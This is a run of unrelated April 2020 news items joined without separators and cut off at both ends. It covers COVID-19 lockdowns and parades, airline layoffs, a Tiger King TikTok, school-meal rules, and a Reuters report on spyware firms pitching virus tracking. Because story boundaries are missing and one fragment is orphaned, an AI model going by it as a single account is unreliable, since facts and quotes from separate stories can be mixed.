large for their contributions during the pandemic. South Whitehall Township police will review the students work during a parade around the district on Tuesday. The route will start from Cetronia Elementary School and include neighborhoods south of Tilghman Street from 9 to 10:30 a.m., continue to Parkway Manor Elementary and run through the nearby streets (north of Tilghman) from 11 a.m. to 12:30 p.m., and conclude by heading north of Route 22 to Kratzer Elementary and rolling through that area from 1:30 to 3 p.m. In the afternoon, a third parade of sorts will be held outside South Mountain Memory Care, 201 S. Seventh St., Emmaus. Family and friends, practicing social distancing, will be outside the facility cheering on healthcare workers. It starts at 2:45 p.m. and lasts through the shift change. Emmaus police and fire departments have been invited to participate. Tell us your coronavirus stories, whether its a news tip, a topic you want us to cover, or a personal story you want to share. Kyle Craig may be reached at kcraig@lehighvalleylive.com. If theres anything about this story that needs attention, please email him. Follow him on Twitter @KyleCraigSports. Geneva, April 28 : A record 50.8 million people worldwide are internally displaced due to conflict or disaster, with the coronavirus pandemic posing a new threat, a report warned on Tuesday. In its annual report, the Geneva-based Internal Displacement Monitoring Centre (IDMC) said the ongoing global pandemic may add further risks to millions of already vulnerable people, the BBC reported. Over 45 million have been forced to abandon their homes due to violence. A further five million have been displaced by natural disasters such as earthquakes and floods, the IDMC said in the report. It added that the number of people internally displaced, those who flee conflict or disaster but remain in their own countries, has now reached a record high. Contributing to the figures, the report said that there were 33.4 million new displacements recorded in 2019, the highest annual figure since 2012. But even without the pandemic, the number of internally displaced people across the globe is a sign, the new report said, of collective failure. The IDMC has called on governments to work towards solving conflicts like the civil war in Syria, where about a million people have fled their homes since December 2019 to escape a government offensive in a conflict that began nine years ago, reports the BBC. It also highlighted conflicts in the Democratic Republic of Congo, Yemen, and Afghanistan. The report suggests that more could be done to tackle climate change and to prepare for natural disasters, with millions of people displaced last year by cyclones and floods. It calls on governments to ensure that those who have become displaced be given access to healthcare during the pandemic, and in the longer term, to address the causes of displacement. Latest updates on Coronavirus (COVID-19) -- The story has been published from a wire feed without any modifications to the text Bengaluru, April 28 : Karnataka lifted more restrictions from the extended lockdown in 14 'green' districts, which are free from the coronavirus spread, to mitigate hardships of the people, a top official said on Tuesday. "In accordance with the April 14 guidelines of the Central government on relaxing the lockdown restrictions to mitigate public hardship, more activities are allowed in 14 of the 30 districts across the state, which are green spots," said Chief Secretary T.M. Vijay Bhaskar in an order. The 14 'green' districts are Chamarajanagar, Chitradurga, Chikmagaluru, Davanagere, Hassan, Haveri, Kodagu, Kolar, Koppal, Ramanagara, Raichur, Shivamogga, Udupi and Yadgir across the southern state. Industries operating in rural areas and outside the civic limits of the districts except in Ramanagara district can also resume operations. "Similarly, manufacturing and industrial establishments with access control in Special Economic Zones (SEZs) and Export Oriented Units (EoUs), industrial estates and industrial townships can reopen," said the order. The establishments, however, have to arrange for stay of workers in their premises or adjacent buildings and implement the standard operating protocol as per the guidelines. Employers have to also arrange transport for their employees to the work place in special buses and ensure they observe social distancing. All shops, including those in residential and market complexes, except in multi-brand and single brand malls, can reopen even outside civic limits, with 50 per cent of their workers wearing masks and observing social distancing. In Ballari, Bengaluru Rural, Chickkaballapur, Dharwad, Gadag, Mandya, Tumakuru and Uttar Kannada districts, where there no Covid-19 cases and are 'orange' spots, district in-charge ministers will decide on the reopening of shops and industries. Partial relaxation of the lockdown, which began on April 23, will continue in 8 districts of Bagalkot, Belagavi, Bengaluru Urban, Bidar, Dakshina Kannda, Kalaburagi, Mysuru and Vijayapura, excluding hotspots and containment zones. The partial exit led to the opening of hotels for parcel service, trading at the agriculture marketing committee (APMC) yards, online delivery of essential goods, essential services like courier, production of cement, steel, tiles and bricks and roadside eateries (dhabas). -- The story has been published from a wire feed without any modifications to the text The Met department on Tuesday forecast widespread rainfall or thunderstorm over the districts of West Bengal from April 28 to May 2 due to the formation of cyclonic circulations in the region. Intermittent sharp showers or an overcast sky greeted most parts of the state from the morning of Tuesday, with the metropolis receiving a few moderate spells during the day. Due to the presence of a cyclonic circulation over sub-Himalayan West Bengal and its neighbourhood, and another over south Chhattisgarh, enhanced thunderstorm and rainfall are likely till May 2, the weatherman said. Another cyclonic circulation over Malacca Strait is likely to concentrate into a low pressure by April 30 over the south Andaman Sea and into a depression in another two days, the Met department said. The system is very likely to move into the area along Andaman and Nicobar Islands and then towards Myanmar coast between April 30 and May 3, it said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Korean beauty trends have taken the beauty world by storm, and now sheet masks have become a must-have in many skincare lovers' routines. They're convenient, can be applied just about anywhere (ideal when you travel), and they offer an intensive treatment when your skin is crying out for extra care as they deliver a concentrated dose of skincare ingredients in a matter of minutes. Whether your skin is dry, dull or you're suffering from a stress-induced breakout, there are now hundreds of sheet masks available each boasting different skin-loving ingredients. Ahead, we've selected eight of the very best sheet masks available to help banish your skin woes. Although they don't hug the skin as well, paper and fibre sheet masks are the most affordable. What's more, those made from 100 per cent cotton, sea kelp or wood pulp can be composted. Packed with hyaluronic acid, soothing chamomile and anti-inflammatory liquorice root extract, this 3 tissue mask from Garnier quenches, comforts and soothes dry, sensitive skin. For best results, apply the mask on top of a barrier-repair cream once a week to lock in lasting hydration. This mask is Amazon's number one best seller in the face moisturising and rejuvenating masks category, boasting an average star rating of 4.5 out of 5 stars. Buy now on Amazon Not only does this sheet mask from Patchology include vitamin B5 to soften and smooth and betaine to maintain hydration levels, but it also packs hyaluronic acid to hydrate skin efficiently, smooth texture, and give the skin a glow. It's an excellent choice for a super-quick SOS treatment for parched dry and dehydrated complexions in need of deep hydration as it only takes five minutes to refresh, plump and revive. Buy now on Cult Beauty If you dislike the feeling of traditional wet sheet masks, you might want to try out legendary makeup artist Charlotte Tilbury's sheet mask that goes on dry. It contains a cocktail of skin-loving ingredients such as floral extracts, oils, peptides and vitamins that leave a plump, balanced and glowing canvas behind. The Instant Magic Facial Dry Sheet Mask hooks around your ears to position the mask comfortably over the face and can be reused up to three times. You won't want to get ready for a special occasion without it. Buy now on Charlotte Tilbury Retinol is an anti-ageing hero and helps fix almost every skincare woe, including wrinkles, dullness, oiliness, sagging skin and age spots. It also treats acne and skin conditions like keratosis pilaris, which is why so many dermatologists recommend it. The Shiseido Benefiance Pure Retinol Intensive Revitalizing Face Mask is infused with a potent blend of the powerful stuff. Introduce skin-smoothing retinol into your skincare routine by using this sheet mask weekly to reduce wrinkles, dryness, and dullness. Buy now on John Lewis Created by dermatologists, the Seoulista Beauty Instant Correct & Calm Instant Facial has been designed specifically to target the signs of a stressed complexion - think breakouts, irritation and redness. Thanks to a mix of witch hazel and eucalyptus leaf, the coconut bio-cellulose mask leaves skin clearer and less blotchy in 20 minutes. Buy now on Allbeauty A favourite among celebrities including Kim Kardashian, Margot Robbie and Victoria Beckham, British born brand 111SKIN is best known for its clinical expertise and innovative formulations. Thanks to an ingredient compilation of silk amino acids, liquorice root extract and centella asiatica, one of 111SKIN's most beloved and bestselling masks the Bio Cellulose Treatment Mask fits snugly over the facial contours to lock in moisture, as well as brighten and boost collagen production. Buy now on Cult Beauty Loaded with moisture-replenishing hyaluronic acid, plus watermelon and aloe vera extract, Saturday Skin's Intense Hydration Mask hydrates and refreshes in 20 minutes. Created by scientists at Chaum, a renowned wellness centre in Seoul, South Korea, the lightweight and cooling bio-cellulose mask is suitable for all skin types and will deeply hydrate even the most parched skin. It's like a drink of water for the skin. Hello, radiant glow! Buy now on Cult Beauty From the bestselling Advanced Night Repair range, the foil-baked Advanced Night Repair Powerfoil Mask utilises the same innovative ChronoluxCB technology and contains a double dose of the Advanced Night Repair Serum for a surge of hydration in ten minutes. The luxury treatment leaves skin looking instantly fresher and more youthful. What's more, it's non-acnegenic so you don't have to worry about it clogging your pores and causing breakouts if you're acne-prone. Buy now on Feelunique MailOnline may earn commission on sales from the links on this page. You think youve seen every way to dispatch a zombie, and then someone applies a chainsaw to a skull in a particularly satisfying manner. But no matter how good that scene is, or the yards of entrails pulled out of bodies, scares are not the distinguishing feature of the Canadian filmmaker Jeff Barnabys new effort. Zombie stories are about the spread of lethal contamination, so Barnabys central premise is inspired: When dead people come back to ersatz life, it turns out that Indigenous folks are immune a sardonic twist on their ancestors succumbing to diseases imported by the European settlers. Blood Quantum, now streaming on Shudder, is set in 1981 in Red Crow, a fictional Migmaq reserve that was also the setting of Barnabys debut, Rhymes for Young Ghouls (a grimly compelling drama available on Amazon Prime). The sheriff, Traylor (Michael Greyeyes), is appropriately stern and efficient, though he struggles to manage his dangerously hotheaded older son (Kiowa Gordon) the young man goes by Lysol, which does not suggest a sunny personality. Aer Lingus owner IAG has warned that it will have to implement group-wide restructuring measures after predicting that a return to 2019 passenger levels will take several years following the pandemic. And it said that 12,000 staff at British Airways are likely to be made redundant. British Airways employed 45,000 people before the crisis. Aer Lingus, meanwhile, employs more than 4,000 people. Releasing first quarter results this afternoon, IAG said that it incurred a 1.3bn exceptional charge in the period due to the ineffectiveness of its fuel and foreign currency hedges for the remainder of 2020. Those hedges would have been made based on normal operating conditions. IAG, which is headed by chief executive Willie Walsh, also owns British Airways, Iberia, Vueling and Level. The company said that passenger capacity on its airlines from June will depend on the timing of the easing of lockdowns and travel restrictions by governments around the world. It said total revenue fell 13pc to 4.6bn in the first three months of the year, while before exceptional items it made a 535m loss. That compared to a profit of 135m in the first three months of 2019. The carrier group will release detailed first quarter results on May 7. The operating result in the first two months of 2020 was similar to that of last year, despite the suspension of flights to China due to Covid-19 from the end of January, noted IAG. It said that the all the reduction in its operating result in the first quarter came in March, while the majority of the reduction in IAGs operating result was incurred by British Airways, followed by Iberia and Aer Lingus. It said Vueling experienced a modest increase in operating loss. In light of the impact of Covid-19 on current operations and the expectation that the recovery of passenger demand to 2019 levels will take several years, British Airways is formally notifying its trade unions about a proposed restructuring and redundancy programme, noted IAG. The proposals remain subject to consultation but it is likely that they will affect most of British Airways employees and may result in the redundancy of up to 12,000 of them, it said. IAGs passenger capacity fell 10.5pc in the first quarter, while passenger traffic in terms of revenue passenger kilometres was 15.2pc lower. Seat load factor the percentage of available seats sold to passengers declined 4.3 percentage points to 76.4pc. The group expects its operating loss in the second quarter to be significantly worse than in the first quarter, given the substantial decline in passenger capacity and traffic and despite some relief on employee costs from government job retention and wage support schemes, it added. In an interview, Beatty said she had tried to demonstrate what real leadership is about during the crisis, advocating for the district and sharing health and voting information. She criticized Harper for running without a long record in the district and pointed out that while Harper worked for the CFPB, the bureaus former director, Richard Cordray, had endorsed the incumbent. Kylie Jenner and her pal Stassie Karanikolaou are the latest celebs to show their love for the Netflix show Tiger King, by taking part in the viral challenge on TikTok. Stassie, 22, filmed herself and Kylie doing the 'Savage Tiger King Edition' challenge on Monday, which they did while dancing in their bikinis. The sonic mash-up features lines from the Netflix true-crime series Tiger King, which questions whether Carole Baskin murdered her missing husband Don Lewis, set against the beat of Megan Thee Stallion's "Savage." Tiger King fans: Kylie Jenner and her pal Stassie Karanikolaou took part in TikTok's 'Savage Tiger King Edition' challenge on Monday, which they did while dancing in their bikinis. As the pair giggle and dance, you can hear audio that says: "Carole Baskin killed her husband, whacked him. Can't convince me that it didn't happen. Fed him to tigers, they snackin'. What's happening? Carole Baskin." Baskin denies she killed her second husband, who disappeared in 1997 and was declared dead in 2002. The millionaire owner of exotic cat sanctuary, Wildlife on Easy Street, mysteriously disappeared on August 18, 1997 shortly before Baskin took control of his will and estate over his first wife Gladys Lewis Cross. Bizarre: The sonic mash-up features lines from the Netflix true-crime series Tiger King, which questions whether Carole Baskin murdered her missing husband Don Lewis To the beat: The song is a parody of Megan Thee Stallion's "Savage." What would Carole say? Baskin denies she killed her second husband, who disappeared in 1997 and was declared dead in 2002. Directing duo Eric Goode & Rebecca Chaikli interviewed Don's associates and family members convinced Carole had used a meat grinder to destroy his body and 'fed him to the tigers.' "Gladys and her daughters had strong selfish motivation to lie and make implications about the meat grinder and Don being buried on the property 23 years ago that have absolutely no basis in fact whatsoever," the 58-year-old animal activist wrote on her Big Cat Rescue website. "Don was not easy to live with and like most couples we had our moments. But I never threatened him and I certainly had nothing to do with his disappearance. When he disappeared, I did everything I could to assist the police." Fans of the show: It's unclear what Kylie really thinks of Carole Baskin Bump and grind: The pair showed off their moves to the hip-hop beat Joining in: Stassie uploaded the video to her TikTok account on Monday Conspiracy theorists? The girls appear to have watched Tiger King Tiger King explored other theories about Lewis' disappearance - including Baskin burying his body under a septic tank, Don crashing his plane, and Don starting a new life in Costa Rica. And while the Big Cat Rescue founder & CEO is 'disappointed' at the 'salacious and sensational' film, she appreciates how it 'reached an audience that had no clue about roadside zoos and hopefully now see the seedy underbelly of this exploitative and abusive business.' Carole has high hopes for UCP's upcoming small-screen adaptation of Robert Moor's 'honest and fair' Wondery Podcast - Over My Dead Body - which will be produced by and star SNL funnywoman Kate McKinnon as Baskin. Denial: Carole Baskin has repeatedly denied all reports that she killed her husband Do they believe her though? Kylie and Stassie took part in the Tiger King themed Tik Tok for their fans to see Perhaps Kylie has been asking what her sister Kim thinks, who is also a huge fan of the documentary. 'Has anyone seen Tiger King on Netflix?! It is crazy!' the 39-year-old reality star - who boasts 258.9M social media followers - tweeted last month. 'Wow the amount of texts I've gotten about Tiger King since I tweeted about it all have mentioned their belief that [Carole] killed her husband! What are your thoughts? Do you think [Carole] killed him?' Keeping her company: Kylie revealed that Stassi has been hanging out with her recently Nessel Opposes USDA Proposal Gutting Key Nutrition Standards For School Meals Nessel Opposes USDA Proposal Gutting Key Nutrition Standards For School Meals April 28, 2020 LANSING Michigan Attorney General Dana Nessel recently joined a multistate coalition of 20 attorneys general in opposing the U.S. Department of Agricultures (USDA) proposed rollbacks of nutrition standards for school meals. In their letter to the USDA, the AGs argue that the proposed rule would substantially weaken existing standards for the school meals that tens of millions of children rely on every day, and lacks any sound basis in nutrition science. "Every student in our state who receives a school meal whether its free, reduced, or paid -- deserves a healthy meal, Nessel said. For many of these children, its their main source of nutrition and an attempt to rob them of something so crucial to their well-being is unconscionable. By the end of the states fiscal year 2018-2019, the Michigan Department of Educations school nutrition programs averaged more than 380,000 students who ate breakfast and approximately 750,000 students who ate lunch daily. In 2012, the USDA adopted healthier nutrition standards for school meals. According to the USDAs own research, these standards have demonstrably improved the nutritional quality of the school breakfasts and lunches on which so many children in this country rely. Unfortunately, the proposed rule would significantly weaken these standards. Specifically, the coalition opposes the USDAs proposal to: Reduce the required minimum weekly servings of the red/orange and other vegetable groups in school lunches, such as tomatoes and carrots; Cut in half the minimum daily requirements of fruit servings in school breakfasts served in settings other than cafeterias; Eliminate the prohibition on synthetic trans fats in school meals without assurance that they have been prohibited in the U.S. food supply; Allow smaller school districts to, in effect, serve their youngest students meals with calorie and sodium levels appropriate only for older students; and Allow schools to offer students flavored water that contains artificial, calorie-free sweeteners and other artificial additives and that might undercut important milk consumption by students. Since these changes do not follow established nutritional standards or strict scientific evidence for such recommendations, it would undermine school programs that teach lifelong healthy eating habits across the state of Michigan. Furthermore, poorer nutritional standards would have an adverse financial impact on the portion of Medicaid funded by the state due to the likelihood of negative health outcomes for students and in turn affect the long term health of some state residents as they grow older. The National School Lunch Program established in 1946 is a federally subsidized program that provides students with healthy, balanced meals in schools at low- or no-cost. In 1966, the School Breakfast Program was added. Since that time, Congress has taken action to ensure that programs nutritional guidelines keep current with the best scientific evidence with the most recent modernization occurring in 2010 with the passage of the Healthy, Hunger-Free Kids Act, which led to the 2012 USDA regulations. In 2019, nearly 30 million children consumed nearly five billion school lunches and more than 14 million children ate school breakfasts under the national school lunch and breakfast programs. School meal programs are especially important for children in low-income families; in 2019, more than 74 percent of school lunches and 85 percent of school breakfasts provided to schoolchildren in the United States were offered free or at a reduced price. That number is likely to increase as a result of the contraction of the U.S. economy due to the COVID-19 pandemic, meaning that even more children will be dependent on school meals as their primary source of nutrition. Further, according to the USDAs own figures, a disproportionately high share of students participating in the national school lunch and breakfast programs are black or Hispanic. Nessel joins the attorneys general of California, Connecticut, Delaware, Illinois, Iowa, Maine, Massachusetts, Maryland, Minnesota, New Mexico, New York, North Carolina, Oregon, Pennsylvania, Rhode Island, Virginia, Vermont, Wisconsin, and the District of Columbia in submitting this letter. ### Ryan Jarvi 517-355-7666 Attorney General US agencies repeatedly warned president about COVID-19 in classified memos earlier this year, Washington Post reports. US intelligence agencies repeatedly warned President Donald Trump about the threat of the novel coronavirus outbreak in more than a dozen classified briefings earlier this year, according to the Washington Post. In a report published on Monday, the US newspaper cited current and former US officials, who revealed that Trump had been alerted in January and February, even as he continued to downplay the threat of the contagion that was first reported in China in December. The repeated warnings were included in the presidents daily brief, which for weeks tracked the worldwide spread of the virus, raising the alarm about its potential consequences, the Post said. One official told the US newspaper that by mid to late January, the coronavirus was being mentioned more frequently as one of the reports core articles or as an executive update. The first case of coronavirus in the US was reported on January 21 and entry to travellers from China was blocked on February 2. As cases rose, travel from Europe was banned on March 11 and Trump declared a national emergency two days later. Trump has faced increased scrutiny over his response to the outbreak in the US, which is nearing a million confirmed coronavirus cases as of Tuesday. The US also has the worlds highest coronavirus death toll with more than 56,000 fatalities. The Republican president has looked to shift the blame and attacked China as well as the World Health Organization (WHO) for their handling of the coronavirus. Subsequently, Trump cut funding to the UN health agency a step criticised by the UN and other world leaders. A White House spokesman disputed claims that Trump was slow to take measures against the pandemic. President Trump rose to fight this crisis head-on by taking early, aggressive historic action to protect the health, wealth and well-being of the American people, Hogan Gidley told the Post. We will get through this difficult time and defeat this virus because of his decisive leadership. An official at the Office of the Director of National Intelligence (DNI), which is responsible for the presidents daily briefs, dismissed the repeated warnings as not true, without elaborating. Advocates for students with disabilities applauded Education Secretary Betsy DeVos for telling Congress to leave intact the Individuals With Disabilities Education Act (IDEA), but special-education administrators said they need flexibility during the coronavirus crisis and called her announcement "confusing. " IDEA requires school districts to offer all students an equitable education, and students with disabilities are supposed to receive individualized education programs, or IEPs, that detail the services the children require. Few school systems have devised a way to extend remote learning and critical services to the 7 million children with disabilities across the country. Some districts, because they cannot provide special-education services at home, aren't offering online instruction to any student, fearful of breaking the law. Congress, in its recent $2 trillion economic stimulus package known as the Cares Act, included a requirement that DeVos report back on whether she needs congressional approval to provide school districts with IDEA waivers during the pandemic, which has closed virtually all schools. DeVos sought public input and on Monday told Congress that "there is no reason to waive" any IDEA provision that is "designed to keep students learning. " DeVos suggested a few flexibilities, including an extension of the timeline for evaluating toddlers with disabilities, but she did not meet the full requests for more IDEA leniency from special-education administrators. "With ingenuity, innovation, and grit, I know this nation's educators and schools can continue to faithfully educate every one of its students," she said in a statement. The Council of Parent Attorneys and Advocates, which had urged DeVos to leave the law as is, said in a statement that the Education Department had "rightfully steered clear of recommending any waivers that would alter the tenets of IDEA . . . supporting every child with a disability's right to a free, appropriate public education. " "While challenging, we know that many schools and districts are embracing their responsibilities as they work with families to meet the needs of students while physical buildings are closed," it said. But the Council of Administrators of Special Education said in a statement Tuesday that her action is no more than "a step in the right direction" and characterized her report to Congress as "confusing." "We must now work collaboratively with Congress to ensure a comprehensive approach to addressing the challenges," it said. The council, along with the National Association of State Directors of Special Education, earlier sent a letter to Congress asking for timeline, procedural and fiscal flexibilities under IDEA. Those included when students had to be identified and evaluated for special-education services and when districts must respond to legal complaints or review a student's IEP. The letter said that school districts "are facing a great deal of compliance challenges which are taking our focus from educating children with disabilities and shifting focusing our effort on paperwork," and that without flexibility, "we will generate endless cycles of reporting about how COVID-19 caused money to be unspent, evaluations to be delayed, and services and supports that are in IEPs that are not able to be implemented." In its statement Tuesday, the National Association of State Directors of Special Education said DeVos' "announcement to include flexibilities in the initial evaluation timelines is confusing. " "Clarification is required regarding whether this flexibility applies to all initial evaluations or just to young children," it said. Asked for a comment, Valerie Williams, a spokeswoman for the group, said, "The Hill is aware of our position and needs in this regard," referring to Congress. Last week, Sens. Chris Murphy, D-Conn., and Bill Cassidy, R-La., sent a letter urging DeVos not to gut the federal special-education law but to allow flexibility that largely supported the special-education administrators. By Joel Schectman, Christopher Bing and Jack Stubbs WASHINGTON (Reuters) - When law enforcement agencies want to gather evidence locked inside an iPhone, they often turn to hacking software from the Israeli firm Cellebrite. By manually plugging the software into a suspects phone, police can break in and determine where the person has gone and whom he or she has met. Now, as governments fight the spread of COVID-19, Cellebrite is pitching the same capability to help authorities learn who a coronavirus sufferer may have infected. When someone tests positive, authorities can siphon up the patients location data and contacts, making it easy to quarantine the right people, according to a Cellebrite email pitch to the Delhi police force this month. This would usually be done with consent, the email said. But in legally justified cases, such as when a patient violates a law against public gatherings, police could use the tools to break into a confiscated device, Cellebrite advised. We do not need the phone passcode to collect the data, the salesman wrote to a senior officer in an April 22 email reviewed by Reuters. A Cellebrite spokeswoman said the salesman was offering the same tools the company has long sold to help police enforce the law. The company is also offering a version of its product line for use by healthcare workers to trace the spread of the virus that causes COVID-19, but the tools can only be used with patient consent and cant hack phones, she said. Cellebrites marketing overtures are part of a wave of efforts by at least eight surveillance and cyber-intelligence companies attempting to sell repurposed spy and law enforcement tools to track the virus and enforce quarantines, according to interviews with executives and non-public company promotional materials reviewed by Reuters. For a graphic on Tracing COVID-19, click https://tmsnrt.rs/3f00GRK The executives declined to specify which countries have purchased their surveillance products, citing confidentiality agreements with governments. But executives at four of the companies said they are piloting or in the process of installing products to counter coronavirus in more than a dozen countries in Latin America, Europe and Asia. A Delhi police spokesman said the force wasnt using Cellebrite for coronavirus containment. Reuters is not aware of any purchases by the U.S. government. Story continues So far, Israel is the only country known to be testing a mass surveillance system pitched by the companies, asking NSO Group, one of the industrys biggest players, to help build its platform. But the rollout of NSOs surveillance project with the Israeli Ministry of Defense is on hold pending legal challenges related to privacy issues, an NSO executive said. A spokesman for Israeli Defense Minister Naftali Bennett said NSO was involved in the project but did not provide further details. Surveillance-tech companies have flourished in recent years as law enforcement and spy agencies around the world have sought new methods for countering adversaries who now often communicate through encrypted mobile apps. The firms argue that their experience helping governments track shadowy networks of militants makes them uniquely qualified to uncover the silent spread of a novel disease. I really believe this industry is doing more good than bad, said Tal Dilian, a former Israeli intelligence officer and now a co-chief executive officer of Cyprus-based Intellexa, a cyber-surveillance firm that works with intelligence agencies in Southeast Asia and Europe. Now is a good time to show that to the world. Yet some technologists remain skeptical that spying tools reliant on phone location data can be used to effectively combat a virus. Its not precise enough, thats the point. Its not nearly going to get you down to whether you're next to a certain person or not, said Michael Veale, a lecturer in digital rights and regulation at University College London. While the methods for location tracking and accuracy vary, surveillance companies say they can narrow down a persons coordinates to within three feet, depending on conditions. PRIVACY RIGHTS VS. HEALTH CONCERNS Privacy issues loom. Civil liberties advocates fear that virus tracking efforts could open the door to the kind of ubiquitous government surveillance efforts they have fought for decades. Some are alarmed by the potential role of spyware firms, arguing their involvement could undermine the public trust governments need to restrain the spread of the virus. "This public health crisis needs a public health solution - not the interjection of for-profit surveillance companies looking to exploit this crisis, said Edin Omanovic, advocacy director for the UK-based civil liberties group Privacy International. Claudio Guarnieri, a technologist with the human rights organization Amnesty International, said any new surveillance powers embraced by states to combat the virus should be met with high scrutiny. New systems of control, from location tracking to contact tracing, all raise different concerns on necessity and proportionality, said Guarnieri. Cellebrite, for one, said it requires agencies that use our solutions to uphold the standards of international human rights law. Government officials have sought to address such concerns by pointing to the unprecedented nature of the crisis. COVID-19, the respiratory disease caused by the new coronavirus, has so far infected more than 3 million people worldwide, killing over 210,000. In South Africa, for example, after the government last month announced it would use telecom data to track the movements of citizens infected with COVID-19, a communications minister acknowledged concerns about loss of privacy. We do respect that everyone has a right to privacy, but in a situation like this our individual rights do not supersede the countrys rights, Stella Ndabeni-Abrahams, the communications minister, said at a press conference for South Africas COVID-19 command council this month. The South African Health Ministry declined to comment on details of the program and whether it had contracted with any of the intelligence firms. A number of countries are developing and deploying COVID-19 contact-tracing apps that do not rely on location data. Instead, these apps, already in use in Singapore, India and Colombia, tap the smartphone connectivity technology Bluetooth to sense and record when other devices are nearby. When someone tests positive for coronavirus, typically, everyone that person made contact with is notified. Christophe Fraser, an epidemiologist at Oxford Universitys Big Data Institute, said this approach, if implemented properly, could save lives and shorten lockdowns. The idea is to try and maximize social distancing practices of those at risk of infection and minimize the impact on all the other people, he said. This app-based approach to contact tracing is considered, by its advocates, as more privacy friendly because people voluntarily download the app and sensitive personal data are visible only to health authorities. This method of containing the disease is the focus of a rare collaboration between Apple Inc and Alphabet Incs Google to quickly deploy the Bluetooth-based technology for use in the United States and elsewhere. But the approach relies on widespread adoption of the apps, and its accuracy remains unproven. Apple says its plan is designed to help amplify the efforts of the public health authorities and that many factors will help flatten [infection] curves no one believes this is the only one. A Google spokesman referred to a prior statement, which said each user will have to make an explicit choice to turn on the technology. By contrast, deploying a mass surveillance platform like Intellexas means everyone would be under collection right away; no one needs to opt in, nor could anyone opt out. Such a setup can be done remotely in a matter of weeks, said an executive at NSO Group, which is also offering its wares to fight the coronavirus. PUBLIC HEALTH SPY TECH The surging spyware business is estimated by research firm MarketsandMarkets to be worth $3.6 billion this year. But the industry has been dogged by legal and ethical concerns. Human rights groups have accused some companies of helping undemocratic governments target dissidents and activists. The companies say they help governments prevent terrorism and capture criminals. Last year, for example, Facebooks WhatsApp unit accused NSO Group of helping governments hack 1,400 targets that included activists, journalists, diplomats and state officials. NSO denies the allegations, saying it only provides the technology to government agencies under strict controls and is not involved in operations. Intellexas Dilian fled Cyprus last year after an arrest warrant was issued for him, on accusations that he used a surveillance van to illegally intercept communications in the country. Dilian denies the allegations, returned to Cyprus last month and said he is cooperating with authorities. A Cypriot police spokesman told Reuters the investigation is active. Now, industry executives, investors and analysts say the coronavirus crisis offers intelligence firms the possibility of billions of dollars in business, while burnishing their reputations. India is among the courted countries. In April, New York-based Verint Systems asked Indian officials to pay $5 million for a years subscription to a host of services designed to track and surveil people with coronavirus. Those included a cellphone tower geolocation platform and a program to monitor social media activity, according to documents seen by Reuters and a person with knowledge of the negotiations. No sale has yet been agreed in India, the source said. A Verint spokesman declined to answer questions, instead referring to an April 16 press release which said unspecified products were being used by an unnamed country to help respond to COVID-19. Indias Ministry of Interior said it had not purchased a system from Verint. NSO Group and Intellexa are also both pitching COVID-19 tracking platforms to countries across Asia, Latin America and Europe. Their technology could allow a government to track the movement of nearly every person in the country who carries a cellphone, sucking up a continuous trove of location data. Installed within telecom providers, the technology functions through the analysis of call records, said NSO and Intellexa executives. When a person tests positive, the systems would allow authorities to input the result, tracking those who made contact with the patient in the past few weeks. Those exposed would receive a text message encouraging them to get tested or self-isolate. NSO said the systems administrators would not see the identity of individuals. Revelations in 2013 that the U.S. National Security Agency had collected this kind of mobile phone data about Americans to track national security threats created a storm of controversy and fueled new restrictions on surveillance. Suzanne Spaulding, a former U.S. intelligence community lawyer and senior Homeland Security official, described this potential COVID-19 tracking approach as among the most privacy-invasive. Thats because it envisions all of the data about everyone's movements, not just infected individuals and their known contacts, going to the government. South Korea, Pakistan, Ecuador and South Africa have all indicated in public statements they were rolling out contact tracing systems using telecom data to track infected citizens, though the details havent been released. South Korean officials say any loss of privacy from surveillance must be weighed against the disastrous economic consequences caused from a long-term shutdown. It is also a restriction of freedom when you ban free movement of people in crisis, Jung Seung-soo, a deputy director at the Ministry of Land, Infrastructure and Transport, told Reuters. The country is not using outside surveillance vendors, the official said. Intellexa is in the process of installing its system in two Western European countries, Dilian said. He declined to name them. In an interview with Reuters, NSO employees responsible for the product said the company is piloting the approach in 10 countries in Asia, the Middle East and Latin America, but declined to name them. Three other Israeli companies, Rayzone Group, Cobwebs Technologies and Patternz, are offering countries coronavirus tracking capabilities. These largely rely on location data gathered from mobile advertising platforms, according to company promotional documents reviewed by Reuters and people familiar with the companies. Rayzone Group declined to comment. Requests for comment to Patternz went unanswered. Omri Timianker, president and co-founder of Cobwebs Technologies, said his company is working with five governments to help track the spread of the virus, but declined to identify them. While some experts say advertising data isnt precise enough to combat the spread of COVID-19, the documents reviewed by Reuters suggest the three firms are marketing technology which they contend can ingest and process advertising data into a form thats useful for narrowly tracking individuals. Intellexas Dilian said his companys platform will cost between $9 million and $16 million for countries with large populations. He believes COVID-19 tracking will be just the beginning. Once the pandemic ends, he hopes countries that invested in his mass surveillance tool will adapt it for espionage and security. We want to enable them to upgrade, he said. (Additional reporting by Nqobile Dludla in Johannesburg, John Geddie in Singapore, Alexandra Valencia in Quito, Frank Jack Daniel in Mexico City, Sankalp Phartiyal in New Delhi, Douglas Busvine in Berlin, Tova Cohen in Tel Aviv, Asif Shahzad in Islamabad, Michele Kambas in Athens and Sangmi Cha in Seoul. Editing by Ronnie Greene and Jonathan Weber) CNBC's Jim Cramer on Tuesday criticized banks for approving small business loans to larger companies that were not meant to benefit from the federal Paycheck Protection Program. "I just want to know who made the bad loans. Somebody did," Cramer said on "Squawk on the Street," suggesting the names of the banks who facilitated the loans should be made public. The PPP, approved by Congress last month as part of the $2.2 trillion coronavirus rescue package, was intended to help small businesses pay workers during the pandemic. But it ran out of its initial $349 billion funding allotment in less than two weeks, and public companies like Shake Shack and AutoNation and private entities such as the NBA's Los Angeles Lakers were found to have received loans through the program. Those companies and others have said they will return the money after the Treasury Department released new eligibility guidelines for the program. However, some public companies have said they're keeping the money because they can't tap the capital markets during the crisis. Last week, Congress gave the Paycheck Protection Program an additional $310 billion infusion of funds. Treasury Secretary Steven Mnuchin said Tuesday on "Squawk Box" that borrowers, not the banks, would be held liable if they did not meet the criteria for the program. Mnuchin said that all loans over $2 million would receive a "full audit" before they could be forgiven under the program. He also said it was "outrageous" for the Lakers to have received the money in the first place. Cramer said he originally liked the PPP, but that he as well as Mnuchin "got had." Some banks have also been accused of prioritizing larger customers over small businesses. "I think that banks were complicit. I think banks gave loans to very good customers, maybe because they needed to keep them afloat," the host of CNBC's "Mad Money" said. Cramer, an owner of two restaurants in Brooklyn, New York, said his frustration did not come from his businesses not getting a PPP loan but from larger companies getting them. He said the actions of the banks would turn public sentiment against them, similar to what happened after the financial crisis. "Once again, people get away with it. And I think that America is sick of that," Cramer said. Correction: The federal small 